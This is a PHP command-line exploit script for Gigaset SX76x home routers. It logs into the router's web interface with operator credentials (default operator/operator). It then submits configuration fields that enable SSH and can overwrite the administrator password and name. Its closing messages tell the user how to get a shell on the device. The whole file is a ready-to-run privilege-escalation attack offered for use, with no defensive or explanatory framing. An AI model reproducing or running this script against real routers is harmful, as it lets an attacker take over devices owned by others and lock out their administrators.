<?php

function post($url,$fields)
{
$fields_string="";
foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; }
$fields_string=substr($fields_string,0,strlen($fields_string)-1);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_TIMEOUT,100);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_HEADER,true);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
$result = curl_exec($ch);
curl_close($ch); 
return $result;
};

date_default_timezone_set('Europe/Budapest');

if ($argc<2) {
printf("Usage: $argv[0] [SX76x IP address] <username> <password> <admin password override> <admin name>");
exit(0);
};


$ip=$argv[1];

if (isset($argv[2])) $user=$argv[2]; else { printf("No username given defaulting to operator\n");  $user='operator'; };
if (isset($argv[3])) $pass=$argv[3]; else { printf("No password given defaulting to operator!\n");  $pass='operator'; };
if (isset($argv[4])) $apo=$argv[4]; else { printf("Only enabling ssh not going to touch admin password! \n");  };
if (isset($argv[5])) $apu=$argv[5]; else { printf("Going to change admin name too! \n");  };

$url="http://$ip/UE/ProcessForm";

printf("Logging into router:");

$fields = array(
            'form_submission_type'=>urlencode("login"),
            'current_page'=>urlencode("welcome_login.html"),
            'next_page'=>urlencode("welcome_login.html"),
            'i'=>urlencode("1"),
            'admin_role_name'=>urlencode($user),
	    'your_password'=>urlencode($pass),
       );

$res=post($url,$fields);

if (strpos($res,"if ('0' == '0')"))
{printf("FAILED (Invalid username/password!)\n"); exit(0); } else printf("SUCCESS\n");

if (strpos($res,"Gigaset sx762")) $oscmd="sx762os"; else
if (strpos($res,"Gigaset sx763")) $oscmd="sx763os"; else $oscmd="sx76xos";                    

printf("Asking router to enable SSH ");
if (isset($apo)) printf("and change admin password "); 
printf("for us\n");

$fields = array(
            'form_submission_type'=>urlencode("ok_submit"),
            'current_page'=>urlencode("welcome_login.html"),
            'next_page'=>urlencode("welcome_login.html"),
	    'r'=>"1",
	    '0_set_IGD.V_SSH.Enable'=>"1",

        );

if (isset($apo)) { 
$fields['1_set_IGD.V_PasswordService.Administrator.Password']=urlencode($apo);
if (isset($apu)) $fields['2_set_IGD.V_PasswordService.Administrator.Name']=urlencode($apu);
};
$res=post($url,$fields);

printf("Query sent. We cant check the result, but SSH should be listen on port 22 now.\n");
if (isset($apu)) printf("Admin password set to '" .$apo. "' you can get your shell by logging into SSH with ($apu/$apo) and issuing $oscmd command to SCM.\n"); else
if (isset($apo)) printf("Admin password set to '" .$apo. "' you can get your shell by logging into SSH with (administrator/$apo) and issuing $oscmd command to SCM.\n"); else
printf("if you have administrator access you can get your shell now by logging into SCM with administrator creditants and issuing $oscmd command to SCM.\n");

?>